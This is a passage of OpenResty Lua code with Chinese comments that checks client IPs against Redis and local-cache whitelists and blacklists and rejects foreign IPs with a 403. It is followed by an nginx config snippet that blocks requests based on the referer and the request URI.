conn:select(0)
--根据IP 获取Redis白名单缓存数据
local result_white = conn:sismember("WHITE-IP", clientIP)
if result_white == 1 then
ngx.log(ngx.ERR, "white_ip:", clientIP)
cache_ngx:set('white_ip_' .. clientIP, 1, 30 * 24 * 60 * 60);
else
-- 判断是否是国外IP, 直接设为黑名单,并且返回403
local flag = check_cn(clientIP);
if flag == 0 then
-- 本地缓存黑名单 时间30天
cache_ngx:set('ban_ip_' .. clientIP, 1, 30 * 24 * 60 * 60);
-- Redis缓存黑名单 时间永久,set 集合自带去重,直接添加就行
conn:sadd("BAN-IP", clientIP)
close_redis(conn)
ngx.exit(403)
end
--根据IP 获取本地黑名单缓存数据
local banIpCache = cache_ngx:get('ban_ip_' .. clientIP);
if banIpCache == "" or banIpCache == nil then
--根据IP 获取Redis黑名单缓存数据
local result_black = conn:sismember("BAN-IP", clientIP)
if result_black == 1 then
ngx.log(ngx.ERR, "black_ip:", clientIP)
-- 本地缓存黑名单 时间30天
cache_ngx:set('ban_ip_' .. clientIP, 1, 30 * 24 * 60 * 60);
close_redis(conn)
ngx.exit(403)
end
else
ngx.log(ngx.ERR, "cache_black_ip:", clientIP)
close_redis(conn)
ngx.exit(403)
end
end
close_redis(conn)
else
ngx.log(ngx.ERR, "cache_white_ip:", clientIP)
end
修改defalut.conf,在server 添加
set $flag 0;
if ($http_referer ~ ""){
set $flag 1;
}
if ($request_uri !~ ^(yudao-admin|prod-api)$) {
set $flag 0;
}
if ($flag = 1){
return 403;
}